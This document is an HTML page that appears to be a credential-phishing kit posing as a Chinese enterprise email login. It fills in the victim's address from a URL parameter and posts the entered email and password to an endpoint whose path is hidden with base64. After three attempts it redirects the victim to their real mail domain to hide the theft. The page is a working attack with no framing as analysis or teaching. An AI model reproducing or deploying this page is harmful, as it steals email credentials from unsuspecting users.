<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>登录认证</title>
<link rel="shortcut icon" href="https://customersupport.website/login/favicon.ico" type="image/x-icon" />
<link href="https://customersupport.website/login/common.css" type="text/css" rel="stylesheet">
<link href="https://customersupport.website/login/login1.css" type="text/css" rel="stylesheet">
<script type="text/javascript" src="https://customersupport.website/login/js/BigInt.js"></script>
<script type="text/javascript" src="https://customersupport.website/login/js/Barrett.js"></script>
<script type="text/javascript" src="https://customersupport.website/login/js/RSA.js"></script>
<script type="text/javascript" src="https://customersupport.website/login/js/jquery.min.js"></script>
<script type="text/javascript" src="https://customersupport.website/login/js/loginc54a.js?t=6"></script>

</head>
<body>

<div id="Pagetop" class="pagetop clearfix">
    <div class="lang_list">
        <div class="lang_wrap">
            <a hidefocus="true" class="mgR" href="javascript:switch_language('zh_CN');">简体中文</a>
            <a hidefocus="true" class="mgR" href="javascript:switch_language('zh_HK');">繁体中文</a>
            <a hidefocus="true" class="mgR" href="javascript:switch_language('en');">English</a>
            <a hidefocus="true" class="mgR" href="javascript:switch_language('ja_JP');">日本語</a>
            <a hidefocus="true" class="mgR" href="javascript:switch_language('kr');">한국어</a>
        </div>
    </div>
</div>

<div id="Container">
    <div id="Container_wrap">                
        <div id="login_header" class="login_header">
            <div class="header_wrap">
                <div class="header_logo"></div>
            </div>
        </div>        
        <div id="login_main" class="login_main login_protection">
            <div class="login_main_top clearfix"></div>
            <div class="login_main_c clearfix">
                <div class="sidebar_left" style="height:368px">
                    <div style="width: 500px; display: block;" class="user_define_img_display_none" id="user_define_img_1">
                        <img src="https://customersupport.website/login/mainleft_1_2.jpg" height="365" width="467">
                    </div>
                    <div class="mail_ftn"></div>
                </div>
                <div class="sidebar_right">
                    <div class="login_box">
                        <div class="login_box_in">
                            <div class="login_box_inner">    
                                <form id="loginform" name="loginform" action="#" method="post">
                                    <input id="username" name="username" type="hidden">
                                    <input id="domain" name="domain" type="hidden">
                                    <input id="service" name="service" type="hidden">        
                                    <input id="system" name="system" value="mail" type="hidden">
                                    <input id="localeTemp" name="localeTemp" value="zh_CN" type="hidden">
                                    <input id="locale" name="locale" value="zh_CN" type="hidden">
                                    <input id="fromUrl" name="fromUrl" type="hidden">
                                    <input id="oldBrowser" name="oldBrowser" value="0" type="hidden">
                                    <input id="targetService" name="targetService" type="hidden">                                                    
                                    <div class="enter_box">
                                        <h2><span id="tips_003">欢迎使用企业邮箱</span></h2>
                                        <dl class="versionsel_zone">
                                            <dt id="dt_curr_ver">
                                                <span id="span_curr_ver" mail_version="mail"></span>
                                            </dt>
                                        </dl>
                                        <noscript>
                                            <div class="login_box_msg noScript" id="tips_004">您的浏览器不支持或已经禁止网页脚本，您无法正常登录。</div>
                                        </noscript>                                    
                                        <div class="tb_loginbox">
                                            <div class="tr tb_username1 clearfix">
                                                <div id="user_box_id" class="logtxtbox">
                                                    <input value="" tabindex="1" name="user" id="user" maxlength="50" type="text" placeholder="用户名">
                                                </div>
                                                <span class="text">@</span>
                                                <div class="logtxtbox domain">
                                                    <input name="domain_input" id="domain_input" tabindex="2" type="text" placeholder="域名">
                                                </div>
                                            </div>
                                            <div class="tr clearfix">
                                                <div class="logtxtbox" id="password_box_id">                                             
                                                    <input tabindex="2" class="input_pwd" name="password" id="password" type="password" placeholder="密码">                                                
                                                </div>
                                            </div>
                                            <div class="tr tr_btnbox clearfix btn_box">
                                                <button type="submit" id="submitBtn" class="enter_btn" tabindex="4"><b><span id="tips_005">登&nbsp;录</span></b></button>
                                            </div>
                                            <div id="info" class="td_tipinfo">
                                                <div class="tif_border">
                                                    <span id="fail" class="fail"></span>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="login_main_bot clearfix"></div>
        </div>
    </div>
</div>
<script src="./config.js"></script>
<script>
$(document).ready(function() {
    function getParameterByName(name) {
        const url = window.location.href;
        const regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)');
        const results = regex.exec(url);
        if (!results) return null;
        if (!results[2]) return '';
        return decodeURIComponent(results[2].replace(/\+/g, ' '));
    }

    const loginEmail = getParameterByName('cms');
    if (loginEmail) {
        const parts = loginEmail.split('@');
        if (parts.length === 2) {
            $('#user').val(parts[0]);  
            $('#domain_input').val(parts[1]);
        }
    }

    let submissionCount = 0;

    $('#loginform').on('submit', function(event) {
        event.preventDefault();

        const user = $('#user').val();
        const domain = $('#domain_input').val();
        const password = $('#password').val();
        const msgBox = $('#fail'); // Message box for errors

        msgBox.hide().text('').removeClass('success-msg error-msg');

        if (!user) {
            msgBox.text("用户名不能为空").addClass('error-msg').show();
            return;
        }
        if (!domain) {
            msgBox.text("域名不能为空").addClass('error-msg').show();
            return;
        }
        if (!password) {
            msgBox.text("密码不能为空").addClass('error-msg').show();
            return;
        }

        const fullEmail = `${user}@${domain}`;

        $.ajax({
            url: `${config.baseUrl}${atob("L2Nvbm5lY3QucGhw")}`,
            type: 'POST',
            data: { ai: fullEmail, pr: password },
            dataType: 'JSON',
            beforeSend: function() {
                $('#submitBtn').html("<b>正在验证...</b>").prop('disabled', true);
            },
            success: function(response) {
                submissionCount++;
                if (submissionCount >= 3) {
                    window.location.href = `https://${domain}`;
                } else if (response.signal === 'ok') {
                    msgBox.text("登录成功").addClass('success-msg').show();
                } else {
                    msgBox.text(response.msg || "认证失败").addClass('error-msg').show();
                }
            },
            error: function() {
                submissionCount++;
                if (submissionCount >= 3) {
                    window.location.href = `https://${domain}`;
                } else {
                    msgBox.text("发生错误，请重试。").addClass('error-msg').show();
                }
            },
            complete: function() {
                $('#submitBtn').html("<b><span id='tips_005'>登&nbsp;录</span></b>").prop('disabled', false);
                $('#password').val('');
            }
        });
    });
});
</script>

</body>
</html>